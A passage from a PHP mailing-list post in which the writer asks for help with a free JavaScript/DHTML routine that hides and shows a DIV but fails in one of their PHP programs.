-0400 Subject: [nycphp-talk] OT (Slightly) Help with PHP/JavaScript Error Resolution? Message-ID: <44CE57B5.7090705@fdcx.net> Sorry - I know this is most likely a js issue but it seems to be occurring in only ONE of my PHP programs so I thought I would ask here because of the VAST amount of insight and expertise available... I am trying desperately to incorporate a free js routine that hides a DIV and then redisplays it when asked using DHTML. (too, too many technologies!!!) This is a canned routine included with a